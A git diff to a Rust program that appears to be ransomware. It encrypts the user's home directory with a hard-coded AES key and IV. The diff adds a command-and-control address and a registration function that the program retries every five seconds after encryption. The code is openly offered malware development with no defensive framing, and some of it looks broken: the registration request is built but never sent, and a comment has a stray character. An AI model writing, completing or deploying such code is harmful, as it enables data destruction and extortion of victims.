diff --git a/src/crypto.rs b/src/crypto.rs
index 6b137bf..5bc86d7 100644
--- a/src/crypto.rs
+++ b/src/crypto.rs
@@ -12,13 +12,15 @@ use std::fs::File;
 use std::fs;
 use std::io::{Read, Write};
 use std::error::Error;
-use std::str;
+use std::str::{self, FromStr};
+use reqwest::blocking::Request;
 
 
 type Aes256Cbc = Cbc<Aes256, Pkcs7>;
 
 const KEY: &[u8] = b"keyhereshouldbereplacedbybuilder";
-const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytes
+const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytesA
+const C2ADDR: &str = "c2serveraddr";
                                 
 
 fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
@@ -96,4 +98,8 @@ pub fn decrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
     Ok(())
 }
 
-
+pub fn register() -> Result<(), Box<dyn Error>> {
+    let c2_register_url = format!("http://{C2ADDR}/client/register");
+    let _register_reqwest = Request::new(reqwest::Method::POST, reqwest::Url::from_str(&c2_register_url)?);
+    Ok(())
+}
diff --git a/src/encrypt.rs b/src/encrypt.rs
index 0ddb3a5..2521137 100644
--- a/src/encrypt.rs
+++ b/src/encrypt.rs
@@ -1,6 +1,9 @@
 mod crypto;
 use crypto::encrypt_directory;
+use crypto::register;
 use std::env;
+use std::thread::sleep;
+use std::time::Duration;
 
 fn main() {
     #[cfg(target_os = "windows")]
@@ -8,6 +11,16 @@ fn main() {
     #[cfg(target_os = "linux")]
     let home: String = env::var("HOME").unwrap();
     encrypt_directory(&home).unwrap(); // I know this many unwraps look
-                                                        // suspicious, but the chance of this
-                                                        // failing is less than a solar flare.
+                                       // suspicious, but the chance of this
+                                       // failing is less than a solar flare.
+
+    loop {
+        let registration_attempt = register();
+        if registration_attempt.is_ok() {
+            break;
+        } else {
+            sleep(Duration::from_secs(5));
+        }
+    }
+    
 }